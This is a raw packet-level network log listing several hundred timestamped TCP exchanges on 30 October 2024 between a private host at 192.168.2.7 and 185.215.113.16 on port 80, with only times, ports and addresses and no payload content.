Oct 30, 2024 04:34:32.745877028 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.746357918 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.746414900 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.746532917 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.746877909 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.746891022 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.746934891 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.747586012 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.747598886 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.747642994 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.748275042 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.748286963 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.748300076 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.748332977 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.748351097 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.748967886 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.748981953 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.749022961 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.778132915 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.778306961 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.778367043 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.778393984 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.778772116 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.778784990 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.778815985 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.779567957 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.779586077 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.779617071 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.780356884 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.780370951 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.780383110 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.780399084 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.780417919 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.780952930 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.780966043 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.781008005 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.781739950 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.781753063 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.781804085 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.782529116 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.782541990 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.782584906 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.827822924 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.827992916 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.828092098 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.828150988 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.828465939 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.828478098 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.828505993 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.829253912 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.829267025 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.829312086 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.830025911 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.830071926 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.865602970 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.865617990 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.865669966 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.866477966 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.866489887 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.866507053 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.866520882 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.866532087 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.866559029 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.867243052 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.867253065 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.867264986 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.867278099 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.867289066 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.867321968 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.868216991 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.868230104 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.868241072 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.868290901 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.869133949 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.869148016 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.869158983 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.869172096 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.869180918 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.869191885 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.897185087 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.897260904 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.897322893 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.897335052 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.897373915 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.897829056 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.897840977 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.897854090 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.897903919 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.898564100 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.898576021 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.898587942 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.898605108 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.898621082 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.899332047 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.899344921 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.899405003 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.899646044 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.899658918 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.899672031 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.899705887 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.900440931 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.900501013 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.946505070 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.946605921 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.946674109 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.946690083 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.946971893 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.946984053 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.946995974 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.947024107 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.947060108 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.947567940 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.947799921 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.947876930 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.947881937 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.947886944 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.947932005 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.983083010 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.983234882 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.983247042 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.983277082 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.983688116 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.983742952 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.983819962 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.984122038 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.984134912 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.984146118 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.984158993 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.984178066 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.984210014 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.984874964 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.984885931 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.984898090 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.984919071 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.984951973 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.985564947 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.985575914 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.985588074 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.985615015 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.986243963 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.986323118 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:32.986408949 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.986423016 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.986433983 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:32.986465931 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.015605927 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.015664101 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.015727043 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.015738964 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.015789986 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.016031027 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.016271114 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.016283035 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.016326904 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.016591072 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.016603947 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.016642094 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.016990900 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.017074108 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.017103910 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.017116070 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.017127037 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.017168999 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.017915964 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.017927885 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.017966032 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.018155098 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.018167973 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.018217087 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.018580914 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.018824100 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.065288067 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.065370083 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.065382004 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.065419912 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.065602064 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.065650940 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.065792084 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.065803051 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.065853119 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.101876974 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.101917982 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.102014065 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.102068901 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.102158070 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.102181911 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.102201939 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.102202892 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.102572918 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.102713108 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.102725983 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.102788925 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.103054047 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.103255033 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.103270054 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.103336096 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.103630066 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.103641987 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.103652954 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.103701115 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.103701115 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.104106903 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.104322910 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.104336977 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.104350090 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.104367971 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.104417086 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.104826927 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.104840040 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.104886055 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.105169058 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.105180025 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.105223894 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.134399891 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.134516954 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.134529114 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.134562969 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.134831905 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.135024071 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.135088921 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.135099888 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.135359049 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.135370016 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.135380983 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.135391951 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.135446072 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.135921001 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.135932922 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.135943890 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.135981083 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.136018038 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.139358997 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.139370918 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.139383078 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.139394999 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.139409065 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.139420033 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.139451981 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.182538986 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.184045076 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.184082985 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.184094906 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.184140921 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.184307098 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.184360981 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.184510946 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.184521914 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.184565067 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.184676886 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.220948935 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.221023083 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.221065044 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.221122026 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.221478939 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.221530914 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.221579075 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.221693039 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.221838951 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.221851110 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.221862078 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.221889973 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.222486019 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.222553968 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.222661972 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.222673893 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.222686052 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.222697973 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.222726107 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.222755909 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.223427057 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.223442078 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.223700047 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.223711967 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.223745108 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.223774910 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.224075079 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.224087000 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.224098921 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.224121094 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.224128008 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.224179029 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.253144026 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.253251076 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.253262997 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.253307104 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.253581047 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.253596067 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.253628969 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.254028082 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.254040003 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.254050970 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.254085064 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.254117012 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.254735947 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.254748106 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.254760981 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.254817009 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.255332947 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.255347013 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.255359888 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.255387068 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.255419970 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.256048918 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.256063938 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.256077051 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.256108999 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.256586075 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.256639957 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.302831888 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.303036928 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.303050041 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.303105116 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.303323984 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.303353071 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.303432941 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.303766012 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.303874969 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.339579105 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.339715004 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.339729071 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.339943886 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.340131044 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.340271950 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.340282917 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.340306997 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.340619087 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.340754032 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.340769053 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.340780973 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.340836048 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.341360092 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.341372967 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.341386080 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.341425896 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.341507912 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.342056036 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.342067957 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.342078924 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:33.342179060 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:33.342681885 CET	80	49781	185.215.113.16	192.168.2.7
